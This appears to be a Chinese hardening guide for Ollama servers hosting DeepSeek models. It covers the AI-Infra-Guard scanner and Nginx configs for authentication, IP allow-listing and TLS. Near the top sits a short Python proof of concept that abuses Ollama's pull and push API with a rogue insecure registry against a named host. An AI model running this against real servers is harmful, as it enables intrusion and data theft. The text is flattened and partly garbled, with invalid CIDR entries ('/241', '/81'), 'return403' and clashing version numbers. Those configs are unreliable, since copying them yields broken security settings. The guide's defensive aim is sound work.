深度修复 DeepSeek 云端部署潜在威胁漏洞

Ollama < 0.1.34

ollama -v //0.5.7 

// 搭建平台docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33

import requests# 设定目标服务器的主机名HOST = "dev-1.lan.bi0x.com"# 组合出目标服务器的完整 URL，包含协议和端口号target_url = f"http://{HOST}:11434"pull_url = f"{target_url}/api/pull"push_url = f"{target_url}/api/push"requests.post(pull_url, json={"name": vuln_registry_url, "insecure": True})requests.post(push_url, json={"name": vuln_registry_url, "insecure": True})# see rogue server log

/by 腾讯朱雀实验室下载地址：https://github.com/Tencent/AI-Infra-Guard/releases用法本地扫描./ai-infra-guard-localscan单一目标./ai-infra-guard-target [IP/Domain] 多个目标./ai-infra-guard-target [IP/Domain] -target [IP/Domain]从文件读取./ai-infra-guard-file target.txt人工智能分析./ai-infra-guard-target [IP/Domain] -ai -token [Hunyuan token]

./ai-infra-guard-target  http://:11434//扫描服务器

# Nginx反向代理配置location /api/ {  auth_request /auth;  # 对/api/路径下的请求进行身份验证，将请求转发到/auth路径进行处理  proxy_pass http://ollama-backend;  # 将经过身份验证的请求转发到Ollama后端服务}location = /auth {  internal;  # 该路径只能被Nginx内部调用，不允许外部直接访问  proxy_pass https://keycloak/auth/realms/ollama/protocol/openid-connect/token/introspect;  # 将身份验证请求转发到Keycloak的令牌验证端点  proxy_pass_request_body off;  # 不转发请求体  proxy_set_header Content-Length "";  # 清空Content-Length请求头  proxy_set_header X-Original-URI $request_uri;  # 设置X-Original-URI请求头，记录原始请求的URI}

//定义 IP 白名单http {    # 定义 IP 白名单    geo $allow_ip {        default 0;        192.168.1.0/241;10.0.0.0/81;    }    server {        listen 80;        server_name your_domain.com;        location / {if ($allow_ip = 0) {return403;            }            proxy_pass http://backend_server;            proxy_set_header Host $host;            proxy_set_header X-Real-IP $remote_addr;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;        }    }}

// 配置 SSL 证书和密钥server {        listen 443 ssl;        server_name your_domain.com;        # 配置 SSL 证书和密钥路径        ssl_certificate /path/to/your_domain.com.crt;        ssl_certificate_key /path/to/your_domain.com.key;# 配置 SSL 协议和密码套件，使用较安全的组合        ssl_protocols TLSv1.2 TLSv1.3;        ssl_ciphers HIGH:!aNULL:!MD5;        ssl_prefer_server_ciphers on;        location / {            if ($allow_ip = 0) {                return 403;  # 如果不在 IP 白名单内，返回 403 禁止访问            }            proxy_pass http://backend_server;            proxy_set_header Host $host;            proxy_set_header X-Real-IP $remote_addr;            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;            proxy_set_header X-Forwarded-Proto $scheme;        }    }}